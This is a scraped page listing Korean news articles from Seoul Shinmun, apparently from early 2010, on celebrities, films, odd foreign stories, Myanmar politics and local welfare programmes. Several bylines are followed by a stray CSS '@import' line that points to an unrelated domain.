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  • ‘불혹’ 머라이어 캐리, 섹시 간호사 변신?

    ‘불혹’ 머라이어 캐리, 섹시 간호사 변신?

    간호사로 변신한 ‘불혹’의 머라이어 캐리, 여전히 섹시? ‘R&B의 여왕’ 머라이어 캐리가 나이를 잊게 하는 섹시 콘셉트의 뮤직비디오를 공개해 화제를 모으고 있다. 니키 미나즈와 함께 한 신곡 ‘업 아웃 마이 페이스’(Up Out My Face)의 뮤직비디오에서 캐리는 남성들의 상상력을 자극하는 간호사로 변신을 시도했다. 가슴이 깊게 파인 흰색 상의와 짧은 치마로 몸매를 뽐냈으며, 마흔이라는 나이가 무색하게 머리를 양쪽으로 묶고 깜찍한 표정을 짓는 등 완벽한 ‘청순글래머’의 모습을 선보였다. 뮤직비디오 중간에는 가터를 내리는 선정적인 장면도 포함돼 남성팬들의 눈길을 사로잡는다. 캐리의 뮤직비디오는 그녀의 나이를 의심하게 하는 섹시 콘셉트, 과감한 연출 등으로 연일 화제가 됐다. 일부 네티즌들은 “이런 헤어스타일과 의상을 선보이기에는 그녀의 나이가 너무 많다.”, “이제는 ‘짜릿한’ 간호사 복장이 어울리지 않는다.”며 비난의 목소리를 냈지만, 캐리는 “팬들에게 언제나 새로운 모습을 선보일 것”이라며 대수롭지 않다는 반응을 보였다. 한편 외모에 대한 지나친 강박관념, 그리고 알코올중독 의혹, 우을증 등으로 어두운 시간을 보내기도 한 캐리는 2008년 ‘E=mc2’로 재기에 성공한 뒤 활발한 활동을 이어가고 있다. 서울신문 나우뉴스 송혜민기자 huimin0217@seoul.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [부고] ‘울고싶어라’ 이남이 폐암으로 숨져

    [부고] ‘울고싶어라’ 이남이 폐암으로 숨져

    1980년대를 풍미한 밴드 ‘사랑과 평화’ 출신으로 ‘울고 싶어라’를 불러 큰 사랑을 받았던 이남이(본명 이창남)씨가 29일 오후 2시14분 폐암으로 별세했다. 62세. 고인은 지난해 11월 말 폐암 선고를 받은 뒤 강원도 한림대 춘천성심병원에서 입원 치료를 받았으나 투병 2개월 만에 세상을 떠났다. 1974년 그룹 ‘신중현과 엽전들’에서 베이스로 데뷔했으며, 1988년 사랑과 평화 재기 앨범이었던 3집에서 ‘울고 싶어라’를 직접 작사·작곡하고 불러 폭발적인 인기를 끌었다. 이후 중절모와 동그란 안경, 콧수염을 트레이드마크 삼아 솔로 활동을 펼쳤다. 1991년 솔로 3집까지 발표한 고인은 연예계에서 모습을 감췄다. 의형제를 맺은 중광 스님, 작가 이외수씨와의 인연으로 2000년 춘천에 자리를 잡았다. 군부대, 교도소, 노인복지회관 등 주로 지역무대에서 공연을 겸한 봉사 활동을 펼쳤다. 빈소는 춘천장례식장에 마련됐으며 발인날짜는 아직 정해지지 않았다. 유족으로는 부인 김옥희씨와 두 딸이 있다. 한편 유족과 지인 등에 따르면 고인은 투병생활 내내 병문안을 온 지인들에게 흡연의 중독성과 위험성을 경고한 것으로 알려졌다. 고인의 딸 단비씨는 “‘담배는 끊기가 어려우니 아예 배우지 말라.’고 한 말씀이 아직 귓전에 맴돈다.”고 밝혔다. 고인은 평소 하루에 2갑 이상의 담배를 피울 정도로 애연가였다. 담배에 대한 경각심을 일깨우는 고인의 생전행보는 이씨와 같은 나이로 작고한 코미디계의 황제 고 이주일씨를 연상케 해 주위를 더욱 안타깝게 하고 있다. 홍지민기자 icarus@seoul.co.kr
  • 中서 ‘구글’ 모방사이트 ‘구제’ 화제

    中서 ‘구글’ 모방사이트 ‘구제’ 화제

    중국서 세계 최대의 검색사이트인 ‘구글’을 둘러싼 논란이 계속되고 있는 가운데, 구글을 본따 만든 모방 사이트가 화제로 떠올랐다. ‘구글’의 동생사이트로 불리는 이 검색포털의 이름은 ‘구제’(Goojje·谷姐)다. 구글이 중국어에서 ‘오빠’를 뜻하는 단어와 발음이 비슷하다는 점에서 착안해, 누나 또는 언니를 뜻하는 ‘제제’(姐姐)와 비슷한 ‘구제’를 이름으로 정했다. 누가 만들었는지는 밝혀지지 않았지만, 최근 구글이 중국에서 철수하는 것에 반대하는 네티즌들이 만들었을 것으로 추측된다. 로고는 구글의 로고와 중국의 유명 검색사이트인 ‘바이두’의 로고 일부를 합성해서 만들었다. 비슷한 것은 로고뿐이 아니다. 검색창에 검색어를 입력하면 구글과 매우 유사한 페이지가 열린다. 단기간 내에 만들었다는 사실이 믿기지 않을 만큼 구글과 똑같이 만들어 현지 네티즌들도 놀라게 했다. 이 사이트가 최초로 등장한 것은 14일 경으로 알려졌으며, 이는 구글이 중국 정부의 검열문제를 두고 불만을 표시하다 중국시장에서 철수하겠다고 선언한 직후다. 현지의 한 네티즌은 “구제가 우리에게 희망을 가져다주길 바란다.”면서 “인터넷 검색의 자유와 발전을 기대하는 의미에서 구제를 지지하겠다.”고 밝혔다. 한편 구글 측은 아직 반응을 보이지 않고 있으며, 중국 당국이 구글에 이어 구제에까지 제제를 가할 것인가에 관심이 쏠리고 있다. 서울신문 나우뉴스 송혜민기자 huimin0217@seoul.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 하모니 ‘아바타’ 꺾었다… 개봉첫날 9만관객 동원

    여죄수들이 ‘나비족’의 장기 독주에 제동을 걸었다. 29일 영화진흥위원회 영화관입장권통합전산망 집계에 따르면 여자 재소자들의 이야기를 다룬 한국영화 ‘하모니’는 개봉 첫날인 28일 하루 동안 9만 7530명의 관객을 동원했다. 근소한 차이지만 나비족이 등장하는 ‘아바타’(9만 5637명)를 꺾었다. 미국 제임스 캐머런 감독의 아바타가 지난달 17일 개봉한 이래 일일 관객 집계에서 2위로 내려앉은 것은 처음이다. 상영관 수는 하모니 373개, 아바타 365개로 별 차이가 없다. 하모니는 수감 중에 아이를 낳은 주인공 김윤진을 비롯해 저마다 가슴 아픈 사연을 지닌 여죄수들이 교도소에서 합창단을 결성해 감동의 무대를 만들어 가는 이야기를 그렸다. 유료 시사회를 포함해 누적 관객 수는 10만 3196명. 하모니가 주말(29~31일) 박스오피스에서 1위를 차지하면 그동안 ‘2012’, ‘닌자어쌔신’, ‘모범시민’, ‘뉴문’, ‘아바타’ 등 외화에 계속 밀렸던 한국영화가 12주 만에 정상을 탈환하게 된다. 홍지민기자 icarus@seoul.co.kr
  • 송강호·강동원 주연 ‘의형제’ 신기록행진 ‘아바타’ 잡을까

    송강호·강동원 주연 ‘의형제’ 신기록행진 ‘아바타’ 잡을까

    지난달 중순 제임스 캐머런 감독의 ‘아바타’가 개봉한 뒤 국산 영화 점유율이 급격히 쪼그라들었다. 최동훈 감독의 ‘전우치’가 나름대로 선전하고 있지만 50%에 육박했던 점유율이 30%대로 뚝 떨어졌다. 새해 들어 ‘용서는 없다’, ‘아빠는 여자를 좋아해’, ‘주유소 습격사건2’ 등 국산 영화들이 줄줄이 스크린에 걸렸지만 상황은 크게 달라지지 않았다. 이런 분위기를 뒤집을 것으로 평가받는 작품이 있다. 새달 4일 선보이는 ‘의형제’다. 2008년 ‘영화는 영화다’로 화려하게 데뷔한 장훈 감독의 두 번째 연출작이다. 송강호와 강동원이 앙상블을 이룬 것만으로도 일단 화제다. ‘의형제’의 강점과 한계를 ‘업(Up) & 다운(Down)’으로 각각 짚어 봤다. 116분. 15세 이상 관람가. <Up>롤러코스터 탄 듯한… 엄숙하고 긴장해야 할 것 같은 국가정보원인데 대공3팀장 한규(송강호)의 맛깔스러운 대사와 표정은 슬며시 미소 짓게 한다. 역시 ‘송강호표’ 연기다. 북에서 온 킬러 ‘그림자’가 남한에서 유행하는 춤을 춰보라고 하자 길라잡이로 나선 고정 간첩 지원(강동원)은 겸연쩍어하며 ‘서태지와아이들’의 회오리춤을 춘다. 미소는 곧 웃음으로 바뀐다. 긴장감을 놓자마자 이번에는 박진감 넘치는 아파트 총격전과 손에 땀을 쥐게 하는 골목길 차량 추격전이 이어진다. 압권이다. ‘이한영 사건’(김정일 국방위원장의 귀순한 처조카 이한영씨가 1997년 암살당한 사건)에서 모티브를 따온 것으로 여겨지는 약 20분의 도입부는 관객들을 영화에 몰입시키는 롤러코스터와 같은 역할을 한다. 해묵은 남북 갈등 소재를 꺼내들었으나, 오늘날 우리 사회가 직면한 현실이 풍자적으로 곁들여지며 고리타분하지가 않다. 관객들은 웃음과 감동, 액션을 삼박자로 완급을 조절하며 내달리는 롤러코스터에 몸을 실은 채 시간 가는 줄 모르게 된다. 작전 실패로 그림자를 놓친 한규는 국정원에서 쫓겨나고, 오해 탓에 배신자로 낙인찍힌 지원도 잠적한다. 6년 뒤 도망간 베트남 신부를 찾아주는 일을 하는 흥신소 사장이 된 한규와 공사현장에서 일하는 지원이 우연히 마주치며 이야기는 본격적으로 전개된다. 두 사람은 첫눈에 상대를 알아보지만 내색하지 않는다. 그리고 ‘동업’한다. 한규는 지원을 미끼로 간첩단을 찾아내 인생 역전을 해보려는 속셈이다. 지원은 한규의 동태를 북쪽에 보고해 신뢰를 되찾으려는 계산이다. 시치미를 뚝 떼고, 서로 속고 속이는 ‘적과의 동침’을 지켜보는 재미가 쏠쏠하다. 익숙한 재료들을 전혀 물리지 않게 요리해낸 장훈 감독은 송강호와 강동원의 매력을 200% 뽑아낸다. 송강호는 약삭빠른 속물 근성을 보이지만 실은 빈틈과 정이 많은 한규 역할에, 강동원은 냉정한 겉모습과 빼어난 무술 솜씨로 무장했지만 그 내면에 따뜻함과 아픔을 담고 있는 지원 역할에 생명력을 각각 실하게 불어넣는다. 이념 아래 적이었으나 그 그늘에서 벗어나 사람 대 사람으로 소통하는 주인공들에게 가슴 뭉클함을 느끼지 못한다면 아마도 ‘간첩’일 것 같다. 홍지민기자 icarus@seoul.co.kr <Down>어디선가 본 듯한… 대중영화 별거 없다. 혼이 쏙 빠지는 장면으로 관객의 스트레스 날려주고 분위기 좀 느슨해진다 싶으면 찰지게 웃겨주면 된다. 마지막에 ‘짠한’ 장면 첨가해 주면 금상첨화다. 심오한 철학적 의미는 기대 안 한다. 대중들도 어려운 영화 찾아다니면 폼나는 거 알면서도 스트레스 더 쌓이니 대중영화 찾는 거다. 이런 면에서 ‘의형제’는 98% 흥행 요소를 갖추고 있다. 그런데 영화란 게 진화가 없다면 또 허무하다. 고질적인 영화계의 문제점이 계속 반복돼도 짜증난다. 이게 관객들이 대중영화에 원하는 최소한의 하한선이다. 의형제는 이 하한선의 한계를 기웃거린다. 일단 내용이 식상하다. 버림받은 남파 공작원과 전직 국정원 직원의 형제애, 체제를 이겨낸 이 사랑은 어디선가 많이 봤다. 남·북한군의 우정을 그린 ‘공동경비구역 JSA’가 그랬다. 2000년 이 영화는 무척 신선했다. 체제에 시름하는 ‘개인’에 대해 생각할 여지를 담아줬으니까. 하지만 의형제는 ‘공동’에서 더 나아가지 못했다. 다른 점이 있다면 ‘해피 엔딩’이라는 사실뿐이다. 감정도 넘쳐난다. 때론 절제된 감성이 더 아련하다. 예컨대 ‘조제 호랑이 물고기들’(이누도 잇신 감독)에서 쓰마부키 사토시가 여자와 담담히 이별하는 장면이 ‘선물’(오기환 감독)과 같은 시한부 영화보다 더 슬플 때가 있다. ‘절제’는 예술을 규정하는 핵심 요소다. 절제되지 않은 영화는 관객을 불편하게 만든다. 영화의 후반부는 두 남성이 서로 의지한다는 제스처를 과도하게 내보낸다. 형제애가 나쁠 건 없지만 감정의 과잉이다. 더 세련된 표현법이 아쉽다. 마지막으로 마초이즘. 영화에 여자는 ‘아예’ 안 나온다. 이유는 딱 하나. 로맨스가 없기 때문이다. 의형제는 ‘남자의 로맨스 대상이 아니면 여배우는 설 자리가 없다.’는 영화계의 통설을 입증하는 또 다른 사례가 될 듯하다. ‘마초적’이라고 비난받을 소지가 다분하다. 장 감독은 억울해할 수 있다. 그런데 그게 아니라면 여배우를 왜 뺐을까. 에너지가 넘치는 영화를 만들기 위한 ‘편의’ 때문이었을까. 장 감독의 전작인 ‘영화는 영화다’도 비슷한 지적을 받았다는 점에서 더욱 유감스럽다. 여배우들과 함께 힘이 넘치는 영화를 만들 수는 없는 일인가. ‘부족한 2%’를 생각하면서 영화관을 나서는 발걸음이 다소 무거웠다. 이경원기자 leekw@seoul.co.kr
  • ‘9세 中소녀’ 아이 출산 충격

    아홉살 밖에 되지 않은 중국 소녀 한 명이 지난 25일 아이를 출산한 일이 알려져 관심을 모으고 있다. 중국 관영지인 인민일보 인터넷판은 이름이 밝혀지지 않은 이 소녀가 임신 8개월 만에 장춘시의 한 산부인과에서 2.75㎏의 아들을 낳았으며, 아이의 건강상태는 양호하다고 보도했다. 병원의 한 관계자는 현재 9세 산모의 건강상태는 양호한 편이지만 절대적인 안정이 필요해 가족 이외의 어떤 면회도 허가하지 않는다고 전했다. 아이가 출산한 시기로 보아 지난해 초 임신한 것으로 추정되며, 아이의 부모는 사건의 진상을 밝히기 위해 경찰에 조사 신청을 한 것으로 알려졌다. 또 “딸이 성적 접촉이나 성폭행을 당한 경험이 전무하다.”는 부모의 주장에 따라, 산모에게도 조사가 실시될 것으로 보인다. 이번 일이 이슈가 된 까닭은 일반적으로 여아의 발육과정에 따라 월경이 시작됨과 동시에 임신이 가능한 시기는 11세 전후로 알려져 있지만, 이 아이의 경우 이보다 훨씬 빠른 8세 임신, 9세에 출산했기 때문이다. 현지의 한 산부인과 전문의는 “아이를 낳고 임신하는 청소년들이 늘고 있는 것이 사실이지만, 이렇게 어린 나이에 임신과 출산을 한 케이스는 극히 드물다.”며 놀라움을 표했다. 서울신문 나우뉴스 송혜민기자 huimin0217@seoul.co.kr @import’http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css’;
  • 속옷 내려보니 도마뱀 43마리 ‘우글우글’

    속옷 안에 살아있는 도마뱀 40여 마리를 숨겨 밀반입하려한 간 큰 남성이 경찰에 적발됐다. 한스 커트 쿠버스(58)라는 이름의 이 남성은 지난 달 뉴질랜드를 출발해 독일로 넘어가는 접경에서 하의 속옷에 도마뱀 43마리, 양말에 한 마리를 숨겨 밀반입을 시도했다. 그가 숨긴 도마뱀이 독성을 가진 맹도마뱀인지는 밝혀지지 않았으나, 야생 도마뱀인 것은 확실하며 이를 급소 가까이에 두는 것은 매우 위험한 행동이라고 전문가들은 지적했다. 특히 도마뱀 수 십 마리를 한꺼번에 좁은 곳에 가두면 스트레스로 인해 사납게 변할 수도 있어 더욱 유의해야 한다. 사건을 조사한 뉴질랜드 국경 관리자는 “그의 속옷 속에서 나온 도마뱀은 모두 살아있었다.”면서 “지난 10년 간 이렇게 ‘위험한’ 방법으로 동물을 밀반입하려 한 시도는 없었다.”며 혀를 내둘렀다. 현지 언론은 그가 수출입법을 어긴 혐의로 약 4개월형을 받았으며, 벌금으로 약 410만원을 내게 됐다고 전했다. 서울신문 나우뉴스 송혜민기자 huimin0217@seoul.co.kr @import’http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css’;
  • 우산꽂이, 알고보니 10억짜리 청나라 유물

    50년 동안 더러운 신발장 한 켠에 세워둔 채, 아무렇게나 방치했던 우산꽂이가, 청나라 시대의 유물이라는 사실을 알았다면… 영국 도시의 한 오래된 가계에서 발견된 한 도자기가 영국판 ‘진품명품’ TV쇼에서 반세기 만에 진가를 인정받았다. 1740년 경 중국 청나라 황제인 건륭시대에 만든 것으로 추정하는 이 도자기는 표면에 푸른색의 수려한 산수화가 그려져 있으며, 아래에는 건륭시대에 만들어졌음을 알리는 낙관이 찍혀있다. 이 도자기를 소유한 부부는 50여 년 전 지인에게서 우연히 선물 받은 뒤, 줄곧 창고에 대충 보관하다가 십 여 년 전부터는 우산꽂이로 활용해왔다. 이를 본 전문가는 “예사롭지 않은 산수화와 낙관을 자세히 관찰한 결과, 청나라 때 건륭제에 만들어진 도자기가 틀림없다.”고 결론지었다. 험한 환경 속에서도 꿋꿋이 ‘목숨’을 부지한 이 도자기는 표면에 큰 상처가 없고 보존이 잘 되어있으며, 산수화가 건륭제 집권 당시 유행한 전통양식을 그대로 보여주고 있어 최소 50만 파운드(한화 9억 3600만원)의 가치가 있다고 전문가들은 말했다. 도체스터 경매센터의 담당자 매튜 데니는 “보존상태가 양호해 기존 책정가(50만 파운드)보다 2배는 더 높은 가격에 팔릴 가능성이 높다.”면서 “특히 표면에 그려진 산수화가 매우 수려하고 역사적인 가치가 높아 눈독을 들이는 수집가가 많을 것”이라고 내다봤다. 도자기의 주인은 “내가 살고 있는 집보다 더 비싼 도자기를 곁에 두고 몰랐다. 나와 아내는 그저 모조품을 선물로 받았다고 생각했다.”며 기쁜 내색을 감추지 못했다. 서울신문 나우뉴스 송혜민기자 huimin0217@seoul.co.kr @import’http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css’;
  • 설립 20일된 신생단체가 지원사업 대상?

    영화진흥위원회(영진위)가 최근 재공모 끝에 영상미디어센터 지원사업 대상자로 시민영상문화기구(시영)를, 독립영화전용관 지원사업 대상자로 한국다양성영화발전협의회(한다협)를 선정한 것과 관련해 영화계 안팎에서 거센 반발이 일고 있다. 새달 1일부터 올해 말까지 한다협은 광화문에 있는 독립영화전용관 미로스페이스를, 시영은 영상미디어센터를 각각 위탁운영하게 된다. 시영은 재공모 기간(15~21일)을 앞둔 지난 6일 만들어졌다. 설립한 지 20일도 안 돼 사업자로 뽑혔다. 숭실대 교수 등을 지냈고, 축구평론가로도 활동하는 장원재(43)씨가 대표다. 한다협은 지난해 11월 설립됐다. 만들어진 지 두 달 남짓 만에 사업자로 선정됐다. 독립영화계에서 활동했다는 최공재(39)씨가 올해 초 이사장이 됐다. 최씨는 시영의 이사로도 등재돼 있다. 앞서 한국독립영화협회는 영진위의 위탁을 받아 3년 동안 독립영화전용관 인디스페이스를, 8년 동안 영상미디어센터 미디액트를 운영했다. 지원사업이 지정위탁운영제에서 공모제로 바뀐 뒤 인디스페이스는 논란 속에 지난해 말 문을 닫았다. 미디액트 운영진은 새로 한국영상미디어교육협회를 만들어 영상미디어센터 사업에 공모했지만 탈락했다. 당장 “8년 동안 전문성을 축적한 기존 운영진이 탈락하고, 관련 분야에 경험도 없고 능력이 검증되지 않은 단체가 선정된 것은 비상식적이고 납득할 수 없다.”는 반발이 일고 있다. 미디액트 운영진과 전국미디어운동네트워크 관계자들은 27일 영진위 사옥 앞에서 즉각적인 사과와 백지화를 요구하는 기자회견을 열었다. 미디어 관련 단체 48곳이 뭉친 미디어행동도 “편협한 이념과 시장주의의 권력화가 어떤 식으로 미디어 공공성을 해체하고 시민의 미디어 권리를 침해하는가를 보여 주는 참사”라고 성토했다. 영진위 측은 “외부 전문가로 구성된 심사위원회가 여러 가지 상황을 고려해 결정했을 것”이라면서 “선정되지 않은 쪽에서 반발이 있을 수 있겠지만, 심사위 결정을 존중한다.”고 밝혔다. 홍지민기자 icarus@seoul.co.kr
  • [이슈 Q&A] 수치여사 가택연금중단 새달판결

    미얀마 대법원이 다음달 아웅산 수치 여사에 대한 가택연금 지속 여부를 판결할 것으로 알려졌다. 미얀마 민주화운동의 상징이자 군사정부에 맞서는 사실상 유일한 대안 야당인 민족민주동맹(NLD) 지도자인 수치 여사는 지난 20년 동안 14년가량 가택연금으로 지내야 했으며 지난해 또다시 가택연금 18개월에 처해졌다. 군사정부가 20년 만에 처음으로 총선을 치르겠다고 공언한 상황이라 수치 여사의 근황은 국제적 관심사가 되고 있다. 수차례 미얀마를 잠입취재했던 프리랜서 언론인 이유경씨로부터 미얀마 정세를 들어 본다. Q:새달 수치여사 자유의 몸이 될 수 있나. A:회의적 군사정부가 선거 직전까지 온갖 이유로 가택 연금을 연장시킬 것으로 전망한다. 가택연금 기간을 모두 채우고 연말에 석방될 가능성도 있다. 가택연금에서 당장 풀려나더라도 큰 변수가 되긴 힘들다. 당을 수습해 선거를 준비하기엔 시간이 너무 부족하다. 군사정부도 이 점을 십분 활용하려 한다. Q:미얀마 정부는 왜 총선 카드를 꺼냈나. A:군부독재에서 민간독재로 대다수 전문가들이 올해 총선을 또 다른 사기극으로 예상한다. 이번 총선은 2003년 군부가 내놓은 7단계 일정표의 다섯 번째 단계다. 일회용 카드가 아니다. 군부가 꾸준히 육성해온 친정부 관변단체들이 총선 참여를 위해 정당선언을 할 예정이다. 총선을 통해 미얀마는 군사독재에서 민간인을 내세운 ‘친군부 간접독재’로 변신할 것이다. Q:미얀마 정부는 총선 준비 어떻게? A:감시와 몽둥이 내부 통제가 더욱더 극심해지고 있다. 지난 7일 정부 기밀을 누설한 혐의로 육군 장교와 외교부 직원이 사형 선고를 받았다. 2007년 9월 민주화시위 당시 익명의 시민기자로 활동했던 라라윈(26)도 최근 20년형을 선고받았다. Q:총선에서 야당은 선전할 수 있을까. A:회의적 1990년 총선에서 수치 여사가 이끄는 NLD는 전체 495석 중 392석을 차지하는 압승을 거뒀다. 이번에는 힘들다. NLD는 기능을 상실한 지 오래다. 현재 NLD 중앙위원 11명 가운데 6명이 지팡이에 의존하는 80~90대다. 젊은 당원들의 불만과 반발이 점점 커지고 있다. 수치 여사도 내부 개혁을 요구했지만 별로 안 먹히는 분위기다. Q:국제사회는 미얀마의 민주화를 위해 어떤 노력을 하는가. A:립 서비스 미얀마는 천연가스, 루비, 비취 등 세계적인 지하자원을 갖고 있다. 때문에 미얀마에 대한 국제사회 제재 결의는 언제나 ‘립 서비스’로 끝난다. 아세안(ASEAN)은 ‘회원국 내정 불간섭’ 원칙을 이유로 수십년 동안 미얀마 상황을 모른 체하고 있다. 강국진기자 betulo@seoul.co.kr
  • 주민기피시설 마찰 막게 경기, 입지기준 마련키로

    경기도는 기피시설 입지를 둘러싼 개발사업자와 지역주민들의 갈등 해소를 위해 ‘주민기피시설 입지기준’을 마련한다고 27일 밝혔다. 이는 기피시설 입지기준이 있는 학교용지와 달리 주거지역은 명확한 입지기준이 없어 환경영향평가만 실시하는 바람에 시설이 들어설 때마다 주민들과 마찰을 빚는 데 따른 것이다. 도는 이에 따라 28일 대한·국토도시계획학회에 ‘주민기피시설의 합리적인 입지기준 마련을 위한 연구용역’을 의뢰할 예정이다. 김병철기자 kbchul@seoul.co.kr
  • ‘마더’ 영화기자가 뽑은 ‘올해의 영화상’ 2관왕

    봉준호 감독의 ‘마더’가 영화 담당 기자들이 뽑은 ‘올해의 영화상’ 2관왕을 차지했다. 한국영화기자협회(회장 김호일 부산일보 기자)는 27일 서울 태평로 프레스센터에서 제1회 올해의 영화상 시상식을 열고, 7개 부문에 대해 시상했다. 이 상은 지난 한 해 국내 영화계의 성과를 평가하고, 격려하기 위해 한국영화기자협회가 제정한 것으로 31개 회원사, 54명의 회원이 투표에 참여해 수상작과 수상자를 가렸다. 최고의 영예인 작품상은 ‘마더’가 차지했다. 이 작품에서 열연한 김혜자는 여자배우상을, ‘박쥐’의 송강호는 남자배우상을 받았다. 2009년 관객들에게 발견의 기쁨을 선사한 영화나 영화인에게 주어지는 발견상은 ‘똥파리’의 양익준 감독에게 돌아갔다. 가장 인상적인 활약을 펼친 영화인에게 주어지는 올해의 영화인상은 지난해 5월 암으로 세상을 떠난 고(故) 정승혜 영화사 ‘아침’ 대표가 선정됐다. 올해의 홍보인상은 채윤희 올댓시네마 대표가 수상했다. 영화인 5인으로 구성된 심사위원회가 뽑은 올해의 영화기자상은 ‘CJ 투자·배급·극장 독과점 폐해 심각’ 기사를 쓴 이재성 한겨레 기자가 선정됐다. 홍지민기자 icarus@seoul.co.kr
  • 강북구 사랑의 쌀 모으기운동

    강북구 사랑의 쌀 모으기운동

    강북구가 어려운 이웃을 위해 ‘사랑의 쌀 모으기 행사’를 펼치고 있다. 구는 다음달 10일까지 구청사와 동 주민센터에서 주민들의 작은 정성을 모아 도움이 필요한 저소득층과 온정을 나눌 계획이라고 27일 밝혔다. 지난 21일부터 시작된 올해 첫 사랑의 쌀 모으기 행사에는 일반 주민 외에 공무원, 직능단체 회원, 종교인 등이 한마음으로 참여하고 있다. 구는 쌀 모으기가 범구민 운동으로 정상 궤도에 오르면 6700여명의 관내 소외계층에 도움을 줄 것으로 기대하고 있다. 대상 주민은 국민기초생활보장수급자, 소년·소녀가장과 차상위계층 등이다. 이를 위해 구는 지난해 같은 행사에 동참했던 구민과 기업, 단체 등에 참여를 독려하는 등 홍보에 힘을 보태고 있다. 아울러 설 연휴를 앞둔 다음달 9일 구청사 광장에서 시범행사를 펼쳐 동참을 호소할 예정이다. 구청사 광장에서 진행될 행사는 사물놀이와 사랑의 쌀 투입, 떡메치기, 인절미 만들기 등으로 짜여졌다. 참여를 원하는 주민은 동 주민센터나 구 주민생활지원과에 신청하면 된다. 김창인 주민생활지원과장은 “다음달 구 행사에서만 3만 3000㎏의 쌀을 모을 것으로 기대하고 있다.”며 “지난해에도 14만 8840㎏의 쌀을 모아 도움이 필요한 주민들에게 전달했다.”고 밝혔다. 오상도기자 sdoh@seoul.co.kr
  • 코 앞으로 날아든 여객기 관광객 ‘위기일발’

    엘틸레스제도 세인트마틴(St. Martin)섬에 있는 국제공항인 프린세스줄리아나공항 인근에서 비행기와 사람이 충돌할 뻔한 아찔한 순간이 포착됐다. 지난 26일 프린세스줄리아나공항 인근의 해변에서 한가로운 시간을 보내던 파비 플리에르(23)는 멀리서 다가오는 여객기를 멍 하니 바라보다 깜짝 놀라고 말았다. 무게 300t의 보잉 747 여객기 한 대가 고작 지면에서 20m의 낮은 높이로 착륙을 시도했기 때문이다. 최소 시속 240㎞로 지면에 접근한 이 비행기는 아슬아슬하게 사람들을 스치고 지나 무사히 공항에 착륙했지만, 코앞에서 이를 목격한 관광객들은 놀란 가슴을 쓸어 내려야 했다. 사진을 찍은 플리에르는 “이 곳은 원래 비행기가 이착륙하는 모습을 보기에 매우 적합한 장소인데다, 아름다운 해변과 맞닿아 있어 수 백 명의 사람이 모인다.”면서 “아무래도 항로가 짧아서 기장이 실수를 한 것 같다.”고 말했다. 그가 찍은 현장 사진들은 빠른 속도로 낮은 비행을 강행한 여객기 때문에 강풍이 몰아치거나, 깜짝 놀라 쓰러지는 사람들 등의 모습을 생생하게 담고 있다. 지역적 특성상 프린세스줄리아나국제공항을 왕래하는 여객기들은 활주로가 짧아 낮은 비행을 해 왔으며,어려운 비행여건에 대비해 10년 이상 된 베테랑 기장들이 이곳 운항을 맡고 있다. 한편 당시 현장을 담은 동영상도 유투브에 올라와 네티즌들의 관심을 받고 있다. 서울신문 나우뉴스 송혜민기자 huimin0217@seoul.co.kr @import’http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css’;
  • “홀몸 어르신 건강 살펴드려요”

    “홀몸 어르신 건강 살펴드려요”

    서울 종로구 창신2동 주민센터는 27일 관내 65세 이상 기초수급 및 저소득 홀몸어르신에게 건강음료를 배달하는 야쿠르트 배달원 6명에게 노인건강과 복지증진을 위한 ‘홀몸 어르신 건강 지킴이’ 위촉장을 수여했다. 홀몸 어르신 건강 지킴이들은 1년 임기동안 대상자 건강 확인과 주거 안전점검, 말 벗 해드리기, 지역의 복지사각지대에 놓인 대상자 발굴 등의 역할을 맡는다. 구는 관내 18개 동을 대상으로 65세 이상 국민기초생활보장수급자와 저소득 어르신 중 혼자 사는 분, 2급 이상 장애자 중 혼자 생활이 어려운 독거세대, 수급자 중 65세 이하 독거세대로 신체적·정신적 정상생활이 어렵거나 조손세대로 건강상 사고발생의 우려가 있는 경우, 우유나 요구르트를 배달해주는 ‘건강음료 배달’ 프로그램을 운영하고 있다. 동별로 대리점과 단가계약을 맺어 배달원이 매일 음료를 배달하며 건강상태를 확인하고 불의의 사고발생을 막는다는 취지로 마련됐다. 특히 창신2동 주민센터는 건강음료 배달 프로그램이 더욱 큰 효과를 발휘할 수 있도록 배달원을 ‘홀몸 어르신 건강지킴이’로 위촉했다. 센터 측은 “이들이 자긍심과 사명감을 갖고 임무에 최선을 다하며, 더불어 살아가는 맑고 밝은 지역사회 분위기 조성에 기여할 것으로 기대한다.”고 밝혔다. 박건형기자 kitsch@seoul.co.kr
  • 50대로 보이는 희귀병 13세 소녀의 슬픔

    “제가 몇 살로 보이나요?” 눈가와 입 주위, 목에 가득한 주름과 삶에 찌든 듯한 표정, 누가 봐도 세상 풍파 겪은 중년의 모습을 한 이 여성은 놀랍게도 13살 밖에 되지 않은 소녀다. 영국 로더햄에 사는 이 소녀의 이름은 자라 하트숀(13). 하트숀은 피하지방과 피지선에 불균형으로 피부 전체가 울퉁불퉁해 지는 희귀병인 지방이영양증(lipodystrophy)을 앓고 있다. 원래 나이보다 몇 십 년은 더 늙어 보이는 외모 때문에, 이 아이는 놀이동산에 놀러가거나 버스를 탈 때마다 한바탕 실랑이를 벌여야 한다. 하트숀은 “어린이 전용 버스나 영화 티켓을 끊을 수도 없는 건 그저 일상일 뿐이다. 내가 교복을 입고 지나가면 사람들은 언제나 이상한 시선을 보낸다.”고 토로했다. 지금보다 더 어렸을 때부터 차가운 시선을 느끼며 자란 하트숀을 보는 엄마의 마음은 누구보다도 안타깝다. 더욱이 자신도 딸과 같은 병을 앓는 처치여서, 미안하고 고통스러운 마음 뿐이다. 엄마보다 더 심한 지방이영양증을 앓는 하트숀은 약이 잘 듣지 않는 체질이다. 시간이 지날수록 주름은 점점 더 늘었고, 지금은 5살이 더 많은 오빠보다 몇 배는 늙어보인다. 이 아이가 현재로서 기댈 수 있는 의술은 피부리프팅 수술뿐이다. 흔히 중년의 여성들이 주름을 없애려고 받는 이 수술은 잠시나마 하트숀에게 희망을 준다. 하지만 이 또한 일시적일 뿐, 근본적인 해결책이 될 수는 없다. 하트숀은 “또래들처럼 어울리는 교복을 입고 평범하게 살아보는 게 소원”이라며 “‘늙은 여자처럼 보이지만, 사실은 소녀랍니다.’라는 말을 더 이상 하지 않았으면 좋겠다.”고 소망했다. 서울신문 나우뉴스 송혜민기자 huimin0217@seoul.co.kr 